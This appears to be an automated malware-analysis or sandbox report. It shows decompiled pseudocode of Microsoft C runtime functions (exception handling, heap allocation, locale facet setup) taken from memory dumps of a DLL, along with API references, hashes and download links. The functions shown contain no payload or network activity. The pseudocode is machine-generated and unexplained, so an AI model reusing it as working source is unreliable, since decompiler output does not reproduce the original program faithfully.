								_t60 = E6DD358D0(_t79, _t93);
								_t80 = 1;
								_v5 = 1;
								_t112 = _t60;
								if(_t112 < 0) {
									_v16 = 0;
									L14:
									_push(_t93);
									_push(_v12);
									E6DD33F20(_t74, _t86);
									goto L15;
								} else {
									if(_t112 > 0) {
										_t61 = _a4;
										__eflags =  *_t61 - 0xe06d7363;
										if( *_t61 == 0xe06d7363) {
											__eflags =  *0x6dd7e698;
											if(__eflags != 0) {
												_t70 = E6DD77400(__eflags, 0x6dd7e698);
												_t105 = _t105 + 4;
												__eflags = _t70;
												if(_t70 != 0) {
													_t97 =  *0x6dd7e698; // 0x6dd33b1a
													 *0x6dd7a26c(_a4, 1);
													 *_t97();
													_t93 = _v20;
													_t105 = _t105 + 8;
												}
												_t61 = _a4;
											}
										}
										_t87 = _t61;
										E6DD35904(_t61, _a8, _t61);
										_t63 = _a8;
										__eflags =  *((intOrPtr*)(_t63 + 0xc)) - _t90;
										if( *((intOrPtr*)(_t63 + 0xc)) != _t90) {
											_t87 = _t90;
											E6DD35920(_t63, _t90, _t93, 0x6ddd506c);
											_t63 = _a8;
										}
										_push(_t93);
										_push(_v16);
										 *((intOrPtr*)(_t63 + 0xc)) = _t74;
										E6DD33F20(_t74, _t87);
										_t88 = _t93;
										_t83 =  *((intOrPtr*)(_v28 + 8));
										E6DD358E8();
										asm("int3");
										_t100 = _t98;
										_t102 = _t100;
										_push(_t102);
										_push(_t93);
										_t95 = _v40;
										__eflags = _t95 - 0xffffffe0;
										if(_t95 > 0xffffffe0) {
											L32:
											 *((intOrPtr*)(E6DD52281())) = 0xc;
											_t66 = 0;
											__eflags = 0;
										} else {
											__eflags = _t95;
											if(_t95 == 0) {
												_t95 = _t95 + 1;
											}
											while(1) {
												_t66 = RtlAllocateHeap( *0x6ddd7b04, 0, _t95); // executed
												__eflags = _t66;
												if(_t66 != 0) {
													break;
												}
												__eflags = E6DD6BEB2();
												if(__eflags == 0) {
													goto L32;
												} else {
													_t68 = E6DD59256(_t74, _t83, _t88, _t90, __eflags, _t95);
													_pop(_t83);
													__eflags = _t68;
													if(_t68 == 0) {
														goto L32;
													} else {
														continue;
													}
												}
												goto L33;
											}
										}
										L33:
										return _t66;
									} else {
										goto L8;
									}
								}
							}
							goto L34;
							L8:
							_t90 = _t74;
						} while (_t74 != 0xfffffffe);
						if(_t80 != 0) {
							goto L14;
						}
						goto L15;
					}
				}
				L34:
			}

0x6dd33f60
0x6dd33f66
0x6dd33f67
0x6dd33f6b
0x6dd33f6c
0x6dd33f73
0x6dd33f76
0x6dd33f7c
0x6dd33f7d
0x6dd33f7e
0x6dd33f85
0x6dd33f88
0x6dd33f8b
0x6dd33f93
0x6dd33f98
0x6dd33f9b
0x6dd33f9e
0x6dd33fa5
0x6dd34006
0x6dd34009
0x6dd34011
0x6dd34018
0x00000000
0x6dd34018
0x00000000
0x6dd33fa7
0x6dd33fa7
0x6dd33fad
0x6dd33fb3
0x6dd33fb9
0x6dd34029
0x6dd34032
0x6dd33fbb
0x6dd33fc0
0x6dd33fc0
0x6dd33fc3
0x6dd33fc6
0x6dd33fc9
0x6dd33fcc
0x6dd33fcf
0x6dd33fd2
0x6dd33fd7
0x6dd33fed
0x00000000
0x6dd33fd9
0x6dd33fd9
0x6dd33fdb
0x6dd33fe0
0x6dd33fe2
0x6dd33fe5
0x6dd33fe7
0x6dd33ffd
0x6dd3401d
0x6dd3401d
0x6dd3401e
0x6dd34021
0x00000000
0x6dd33fe9
0x6dd33fe9
0x6dd34033
0x6dd34036
0x6dd3403c
0x6dd3403e
0x6dd34045
0x6dd3404c
0x6dd34051
0x6dd34054
0x6dd34056
0x6dd34058
0x6dd34065
0x6dd3406b
0x6dd3406d
0x6dd34070
0x6dd34070
0x6dd34073
0x6dd34073
0x6dd34045
0x6dd34079
0x6dd3407b
0x6dd34080
0x6dd34083
0x6dd34086
0x6dd3408e
0x6dd34092
0x6dd34097
0x6dd34097
0x6dd3409a
0x6dd3409b
0x6dd3409e
0x6dd340a1
0x6dd340ac
0x6dd340ae
0x6dd340b1
0x6dd340b6
0x6dd340ba
0x6dd523d7
0x6dd5f26f
0x6dd5f272
0x6dd5f273
0x6dd5f276
0x6dd5f279
0x6dd5f2ab
0x6dd5f2b0
0x6dd5f2b6
0x6dd5f2b6
0x6dd5f27b
0x6dd5f27b
0x6dd5f27d
0x6dd5f27f
0x6dd5f27f
0x6dd5f296
0x6dd5f29f
0x6dd5f2a5
0x6dd5f2a7
0x00000000
0x00000000
0x6dd5f287
0x6dd5f289
0x00000000
0x6dd5f28b
0x6dd5f28c
0x6dd5f291
0x6dd5f292
0x6dd5f294
0x00000000
0x00000000
0x00000000
0x00000000
0x6dd5f294
0x00000000
0x6dd5f289
0x6dd5f2a9
0x6dd5f2b8
0x6dd5f2ba
0x6dd33feb
0x00000000
0x6dd33feb
0x6dd33fe9
0x6dd33fe7
0x00000000
0x6dd33ff0
0x6dd33ff0
0x6dd33ff2
0x6dd33ff9
0x00000000
0x6dd33ffb
0x00000000
0x6dd33ff9
0x6dd33fb9
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 6DD33F8B
___except_validate_context_record.LIBVCRUNTIME ref: 6DD33F93
_ValidateLocalCookies.LIBCMT ref: 6DD34021
__IsNonwritableInCurrentImage.LIBCMT ref: 6DD3404C
_ValidateLocalCookies.LIBCMT ref: 6DD340A1

Strings

csm, xrefs: 6DD34036

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 659ab12a243e3ccb7b18b7f16fd780381ba8e8b9dab4084f24f8f4a18bdd51aa
Instruction ID: 62b84652a1d4ef3da36f9ff7ae705d4ec8ac144622c796815a3950b73b253ac6
Opcode Fuzzy Hash: 659ab12a243e3ccb7b18b7f16fd780381ba8e8b9dab4084f24f8f4a18bdd51aa
Instruction Fuzzy Hash: 1541C434A0422AEBCF00EF68C840AAE7BB5FF47328F168155F9149B256D736D915CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6D29B, Relevance: 10.6, APIs: 7, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6DD6D29B(intOrPtr _a4) {
				void* _t18;
				intOrPtr _t45;

				_t45 = _a4;
				if(_t45 != 0) {
					E6DD6CF81(_t45, 7);
					_t2 = _t45 + 0x1c; // 0x1c
					E6DD6CF81(_t2, 7);
					_t3 = _t45 + 0x38; // 0x38
					E6DD6CF81(_t3, 0xc);
					_t4 = _t45 + 0x68; // 0x68
					E6DD6CF81(_t4, 0xc);
					_t5 = _t45 + 0x98; // 0x98
					E6DD6CF81(_t5, 2);
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0xa0)));
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0xa4)));
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0xa8)));
					_t9 = _t45 + 0xb4; // 0xb4
					E6DD6CF81(_t9, 7);
					_t10 = _t45 + 0xd0; // 0xd0
					E6DD6CF81(_t10, 7);
					_t11 = _t45 + 0xec; // 0xec
					E6DD6CF81(_t11, 0xc);
					_t12 = _t45 + 0x11c; // 0x11c
					E6DD6CF81(_t12, 0xc);
					_t13 = _t45 + 0x14c; // 0x14c
					E6DD6CF81(_t13, 2);
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0x154)));
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0x158)));
					E6DD5CBD3( *((intOrPtr*)(_t45 + 0x15c)));
					return E6DD5CBD3( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x6dd6d2a1
0x6dd6d2a6
0x6dd6d2af
0x6dd6d2b4
0x6dd6d2ba
0x6dd6d2bf
0x6dd6d2c5
0x6dd6d2ca
0x6dd6d2d0
0x6dd6d2d5
0x6dd6d2de
0x6dd6d2e9
0x6dd6d2f4
0x6dd6d2ff
0x6dd6d304
0x6dd6d30d
0x6dd6d312
0x6dd6d31b
0x6dd6d323
0x6dd6d32c
0x6dd6d331
0x6dd6d33a
0x6dd6d33f
0x6dd6d348
0x6dd6d353
0x6dd6d35e
0x6dd6d369
0x00000000
0x6dd6d379
0x6dd6d37e

APIs

Part of subcall function 6DD6CF81: _free.LIBCMT ref: 6DD6CFAA

_free.LIBCMT ref: 6DD6D2E9

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000,00000000), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD6D2F4
_free.LIBCMT ref: 6DD6D2FF
_free.LIBCMT ref: 6DD6D353
_free.LIBCMT ref: 6DD6D35E
_free.LIBCMT ref: 6DD6D369
_free.LIBCMT ref: 6DD6D374

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 60696fea0fb7a8f1018e7d39f05bb92555332742b445cba9cf2dcfb68d68d62d
Instruction ID: d1c49af537d33ec02b9313579cb25aa51e9056673f7223d70ac11242c69475df
Opcode Fuzzy Hash: 60696fea0fb7a8f1018e7d39f05bb92555332742b445cba9cf2dcfb68d68d62d
Instruction Fuzzy Hash: E5117F7198AB44ABDE30B7B4CC05FCBBBBD9F00704F418A15B3A966051EB35F52846B0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1777F, Relevance: 10.6, APIs: 7, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD1777F(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a8) {
				intOrPtr _v0;
				signed int _v4;
				void* _v16;
				char _v20;
				char _v32;
				void* _t19;
				intOrPtr* _t20;
				intOrPtr* _t42;
				void* _t50;

				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653( &_v20, 0);
				_t50 =  *0x6ddd6c10; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t50;
				_t19 = E6DCF161C(0x6ddd6b2c);
				_t38 = _a8;
				_t20 = E6DCF171B(_a8, _t19);
				_t48 = _t20;
				if(_t20 != 0) {
					L5:
					E6DD166BA( &_v20);
					return E6DD30075(_t48);
				} else {
					if(_t50 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E6DD17E4C(__ebx, _t38, __edx, _t48, _t50) - 0xffffffff;
						if(__eflags == 0) {
							_t42 =  &_v32;
							E6DCF1438(_t42);
							E6DD33D74( &_v32, 0x6ddd3504);
							asm("int3");
							 *_t42 = _v0;
							return _t42;
						} else {
							_t48 = _v16;
							_v16 = _t48;
							_v4 = 1;
							E6DD16FD3(__eflags, _t48);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t48 + 4))))();
							 *0x6ddd6c10 = _t48;
							goto L5;
						}
					} else {
						_t48 = _t50;
						goto L5;
					}
				}
			}

0x6dd17786
0x6dd17790
0x6dd17795
0x6dd177a0
0x6dd177a4
0x6dd177a7
0x6dd177ac
0x6dd177b0
0x6dd177b5
0x6dd177b9
0x6dd177fe
0x6dd17801
0x6dd1780d
0x6dd177bb
0x6dd177bd
0x6dd177c3
0x6dd177c9
0x6dd177d1
0x6dd177d4
0x6dd1780e
0x6dd17811
0x6dd1781f
0x6dd17824
0x6dd1782b
0x6dd17830
0x6dd177d6
0x6dd177d6
0x6dd177d9
0x6dd177dd
0x6dd177e1
0x6dd177ee
0x6dd177f6
0x6dd177f8
0x00000000
0x6dd177f8
0x6dd177bf
0x6dd177bf
0x00000000
0x6dd177bf
0x6dd177bd

APIs

__EH_prolog3.LIBCMT ref: 6DD17786
std::_Lockit::_Lockit.LIBCPMT ref: 6DD17790
int.LIBCPMT ref: 6DD177A7

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

codecvt.LIBCPMT ref: 6DD177CA
std::_Facet_Register.LIBCPMT ref: 6DD177E1
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD17801
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1781F

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcodecvt
String ID:
API String ID: 2594415655-0
Opcode ID: 71c3c508982bb4598e7b074ed9f6b5b0215e7954a01c0acbf4bd26052478b741
Instruction ID: 7178f8fce931474da4290fb2149f5c8e6408fdc7f6c0f685a1ca8eaf0ca4c941
Opcode Fuzzy Hash: 71c3c508982bb4598e7b074ed9f6b5b0215e7954a01c0acbf4bd26052478b741
Instruction Fuzzy Hash: AE11B17190821DEBCF01FBA8DC40AADB7B5EF49714F120509F510A72A0DFB4AA01CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1EF91, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1EF91(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t307;
				signed int _t308;
				void* _t320;
				void* _t333;
				void* _t346;
				void* _t359;
				void* _t372;
				void* _t385;
				void* _t398;
				void* _t411;
				void* _t424;
				void* _t437;
				void* _t450;
				void* _t463;
				void* _t476;
				void* _t489;
				void* _t502;
				void* _t515;
				void* _t528;
				void* _t541;
				void* _t554;
				void* _t567;
				signed int _t815;
				signed int _t882;
				signed int _t883;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t889;
				signed int _t890;
				signed int _t891;
				signed int _t892;
				signed int _t893;
				signed int _t894;
				signed int _t895;
				signed int _t896;
				signed int _t897;
				signed int _t898;
				signed int _t899;
				signed int _t900;
				signed int _t901;
				signed int _t903;
				signed int _t904;
				signed int _t905;
				signed int _t906;
				signed int _t907;
				signed int _t908;
				signed int _t909;
				signed int _t910;
				signed int _t911;
				signed int _t912;
				signed int _t913;
				signed int _t914;
				signed int _t915;
				signed int _t916;
				signed int _t917;
				signed int _t918;
				signed int _t919;
				signed int _t920;
				signed int _t921;
				signed int _t922;
				signed int _t923;
				signed int _t924;
				void* _t946;

				_t879 = __edx;
				_t668 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t946 - 0x14, 0);
				_t903 =  *0x6ddd6de4; // 0x0
				 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
				 *(_t946 - 0x10) = _t903;
				_t307 = E6DCF161C(0x6ddd6d90);
				_t671 =  *((intOrPtr*)(_t946 + 8));
				_t308 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t307);
				_t881 = _t308;
				if(_t308 != 0) {
					L5:
					E6DD166BA(_t946 - 0x14);
					return E6DD30075(_t881);
				} else {
					if(_t903 == 0) {
						_push( *((intOrPtr*)(_t946 + 8)));
						_push(_t946 - 0x10);
						__eflags = E6DD20D03(__ebx, _t671, __edx, _t881, _t903) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t946 - 0x20);
							E6DD33D74(_t946 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t881, _t903, 0x14);
							E6DD16653(_t946 - 0x14, 0);
							_t904 =  *0x6ddd6db4; // 0x0
							 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
							 *(_t946 - 0x10) = _t904;
							_t320 = E6DCF161C(0x6ddd6d68);
							_t678 =  *((intOrPtr*)(_t946 + 8));
							_t882 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t320);
							__eflags = _t882;
							if(_t882 != 0) {
								L12:
								E6DD166BA(_t946 - 0x14);
								return E6DD30075(_t882);
							} else {
								__eflags = _t904;
								if(_t904 == 0) {
									_push( *((intOrPtr*)(_t946 + 8)));
									_push(_t946 - 0x10);
									__eflags = E6DD20DA5(_t668, _t678, __edx, _t882, _t904) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t946 - 0x20);
										E6DD33D74(_t946 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t668, _t882, _t904, 0x14);
										E6DD16653(_t946 - 0x14, 0);
										_t905 =  *0x6ddd6dd4; // 0x0
										 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
										 *(_t946 - 0x10) = _t905;
										_t333 = E6DCF161C(0x6ddd6b28);
										_t685 =  *((intOrPtr*)(_t946 + 8));
										_t883 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t333);
										__eflags = _t883;
										if(_t883 != 0) {
											L19:
											E6DD166BA(_t946 - 0x14);
											return E6DD30075(_t883);
										} else {
											__eflags = _t905;
											if(_t905 == 0) {
												_push( *((intOrPtr*)(_t946 + 8)));
												_push(_t946 - 0x10);
												__eflags = E6DD20E47(_t668, _t685, __edx, _t883, _t905) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t946 - 0x20);
													E6DD33D74(_t946 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t668, _t883, _t905, 0x14);
													E6DD16653(_t946 - 0x14, 0);
													_t906 =  *0x6ddd6de8; // 0x0
													 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
													 *(_t946 - 0x10) = _t906;
													_t346 = E6DCF161C(0x6ddd6d94);
													_t692 =  *((intOrPtr*)(_t946 + 8));
													_t884 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t346);
													__eflags = _t884;
													if(_t884 != 0) {
														L26:
														E6DD166BA(_t946 - 0x14);
														return E6DD30075(_t884);
													} else {
														__eflags = _t906;
														if(_t906 == 0) {
															_push( *((intOrPtr*)(_t946 + 8)));
															_push(_t946 - 0x10);
															__eflags = E6DD20EB7(_t668, _t692, _t879, _t884, _t906) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t946 - 0x20);
																E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t668, _t884, _t906, 0x14);
																E6DD16653(_t946 - 0x14, 0);
																_t907 =  *0x6ddd6db8; // 0x0
																 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																 *(_t946 - 0x10) = _t907;
																_t359 = E6DCF161C(0x6ddd6d6c);
																_t699 =  *((intOrPtr*)(_t946 + 8));
																_t885 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t359);
																__eflags = _t885;
																if(_t885 != 0) {
																	L33:
																	E6DD166BA(_t946 - 0x14);
																	return E6DD30075(_t885);
																} else {
																	__eflags = _t907;
																	if(_t907 == 0) {
																		_push( *((intOrPtr*)(_t946 + 8)));
																		_push(_t946 - 0x10);
																		__eflags = E6DD20F1F(_t668, _t699, _t879, _t885, _t907) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t946 - 0x20);
																			E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t668, _t885, _t907, 0x14);
																			E6DD16653(_t946 - 0x14, 0);
																			_t908 =  *0x6ddd6dec; // 0x0
																			 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																			 *(_t946 - 0x10) = _t908;
																			_t372 = E6DCF161C(0x6ddd6d98);
																			_t706 =  *((intOrPtr*)(_t946 + 8));
																			_t886 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t372);
																			__eflags = _t886;
																			if(_t886 != 0) {
																				L40:
																				E6DD166BA(_t946 - 0x14);
																				return E6DD30075(_t886);
																			} else {
																				__eflags = _t908;
																				if(_t908 == 0) {
																					_push( *((intOrPtr*)(_t946 + 8)));
																					_push(_t946 - 0x10);
																					__eflags = E6DD20F87(_t668, _t706, _t879, _t886, _t908) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t946 - 0x20);
																						E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t668, _t886, _t908, 0x14);
																						E6DD16653(_t946 - 0x14, 0);
																						_t909 =  *0x6ddd6dbc; // 0x0
																						 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																						 *(_t946 - 0x10) = _t909;
																						_t385 = E6DCF161C(0x6ddd6d70);
																						_t713 =  *((intOrPtr*)(_t946 + 8));
																						_t887 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t385);
																						__eflags = _t887;
																						if(_t887 != 0) {
																							L47:
																							E6DD166BA(_t946 - 0x14);
																							return E6DD30075(_t887);
																						} else {
																							__eflags = _t909;
																							if(_t909 == 0) {
																								_push( *((intOrPtr*)(_t946 + 8)));
																								_push(_t946 - 0x10);
																								__eflags = E6DD20FEF(_t668, _t713, _t879, _t887, _t909) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t946 - 0x20);
																									E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t668, _t887, _t909, 0x14);
																									E6DD16653(_t946 - 0x14, 0);
																									_t910 =  *0x6ddd6df0; // 0x0
																									 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																									 *(_t946 - 0x10) = _t910;
																									_t398 = E6DCF161C(0x6ddd6d9c);
																									_t720 =  *((intOrPtr*)(_t946 + 8));
																									_t888 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t398);
																									__eflags = _t888;
																									if(_t888 != 0) {
																										L54:
																										E6DD166BA(_t946 - 0x14);
																										return E6DD30075(_t888);
																									} else {
																										__eflags = _t910;
																										if(_t910 == 0) {
																											_push( *((intOrPtr*)(_t946 + 8)));
																											_push(_t946 - 0x10);
																											__eflags = E6DD21057(_t668, _t720, _t879, _t888, _t910) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t946 - 0x20);
																												E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t668, _t888, _t910, 0x14);
																												E6DD16653(_t946 - 0x14, 0);
																												_t911 =  *0x6ddd6dc0; // 0x0
																												 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																												 *(_t946 - 0x10) = _t911;
																												_t411 = E6DCF161C(0x6ddd6d74);
																												_t727 =  *((intOrPtr*)(_t946 + 8));
																												_t889 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t411);
																												__eflags = _t889;
																												if(_t889 != 0) {
																													L61:
																													E6DD166BA(_t946 - 0x14);
																													return E6DD30075(_t889);
																												} else {
																													__eflags = _t911;
																													if(_t911 == 0) {
																														_push( *((intOrPtr*)(_t946 + 8)));
																														_push(_t946 - 0x10);
																														__eflags = E6DD210BF(_t668, _t727, _t879, _t889, _t911) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t946 - 0x20);
																															E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t668, _t889, _t911, 0x14);
																															E6DD16653(_t946 - 0x14, 0);
																															_t912 =  *0x6ddd6df8; // 0x0
																															 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																															 *(_t946 - 0x10) = _t912;
																															_t424 = E6DCF161C(0x6ddd6da4);
																															_t734 =  *((intOrPtr*)(_t946 + 8));
																															_t890 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t424);
																															__eflags = _t890;
																															if(_t890 != 0) {
																																L68:
																																E6DD166BA(_t946 - 0x14);
																																return E6DD30075(_t890);
																															} else {
																																__eflags = _t912;
																																if(_t912 == 0) {
																																	_push( *((intOrPtr*)(_t946 + 8)));
																																	_push(_t946 - 0x10);
																																	__eflags = E6DD21127(_t668, _t734, _t879, _t890, _t912) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t946 - 0x20);
																																		E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t668, _t890, _t912, 0x14);
																																		E6DD16653(_t946 - 0x14, 0);
																																		_t913 =  *0x6ddd6df4; // 0x0
																																		 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																		 *(_t946 - 0x10) = _t913;
																																		_t437 = E6DCF161C(0x6ddd6da0);
																																		_t741 =  *((intOrPtr*)(_t946 + 8));
																																		_t891 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t437);
																																		__eflags = _t891;
																																		if(_t891 != 0) {
																																			L75:
																																			E6DD166BA(_t946 - 0x14);
																																			return E6DD30075(_t891);
																																		} else {
																																			__eflags = _t913;
																																			if(_t913 == 0) {
																																				_push( *((intOrPtr*)(_t946 + 8)));
																																				_push(_t946 - 0x10);
																																				__eflags = E6DD211AB(_t668, _t741, _t879, _t891, _t913) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t946 - 0x20);
																																					E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t668, _t891, _t913, 0x14);
																																					E6DD16653(_t946 - 0x14, 0);
																																					_t914 =  *0x6ddd6dc8; // 0x0
																																					 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																					 *(_t946 - 0x10) = _t914;
																																					_t450 = E6DCF161C(0x6ddd6d7c);
																																					_t748 =  *((intOrPtr*)(_t946 + 8));
																																					_t892 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t450);
																																					__eflags = _t892;
																																					if(_t892 != 0) {
																																						L82:
																																						E6DD166BA(_t946 - 0x14);
																																						return E6DD30075(_t892);
																																					} else {
																																						__eflags = _t914;
																																						if(_t914 == 0) {
																																							_push( *((intOrPtr*)(_t946 + 8)));
																																							_push(_t946 - 0x10);
																																							__eflags = E6DD21230(_t668, _t748, _t879, _t892, _t914) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E6DCF1438(_t946 - 0x20);
																																								E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd783cf, _t668, _t892, _t914, 0x14);
																																								E6DD16653(_t946 - 0x14, 0);
																																								_t915 =  *0x6ddd6dc4; // 0x0
																																								 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																								 *(_t946 - 0x10) = _t915;
																																								_t463 = E6DCF161C(0x6ddd6d78);
																																								_t755 =  *((intOrPtr*)(_t946 + 8));
																																								_t893 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t463);
																																								__eflags = _t893;
																																								if(_t893 != 0) {
																																									L89:
																																									E6DD166BA(_t946 - 0x14);
																																									return E6DD30075(_t893);
																																								} else {
																																									__eflags = _t915;
																																									if(_t915 == 0) {
																																										_push( *((intOrPtr*)(_t946 + 8)));
																																										_push(_t946 - 0x10);
																																										__eflags = E6DD212B4(_t668, _t755, _t879, _t893, _t915) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E6DCF1438(_t946 - 0x20);
																																											E6DD33D74(_t946 - 0x20, 0x6ddd3504);
																																											asm("int3");
																																											E6DD300AC(0x6dd783cf, _t668, _t893, _t915, 0x14);
																																											E6DD16653(_t946 - 0x14, 0);
																																											_t916 =  *0x6ddd6dd8; // 0x0
																																											 *(_t946 - 4) =  *(_t946 - 4) & 0x00000000;
																																											 *(_t946 - 0x10) = _t916;
																																											_t476 = E6DCF161C(0x6ddd6d84);
																																											_t762 =  *((intOrPtr*)(_t946 + 8));
																																											_t894 = E6DCF171B( *((intOrPtr*)(_t946 + 8)), _t476);
																																											__eflags = _t894;
																																											if(_t894 != 0) {
																																												L96:
																																												E6DD166BA(_t946 - 0x14);
																																												return E6DD30075(_t894);
																																											} else {
																																												__eflags = _t916;
																																												if(_t916 == 0) {
																																													_push( *((intOrPtr*)(_t946 + 8)));
																																													_push(_t946 - 0x10);
																																													__eflags = E6DD21339(_t668, _t762, _t879, _t894, _t916) - 0xffffffff;
																																													if(__eflags == 0) {
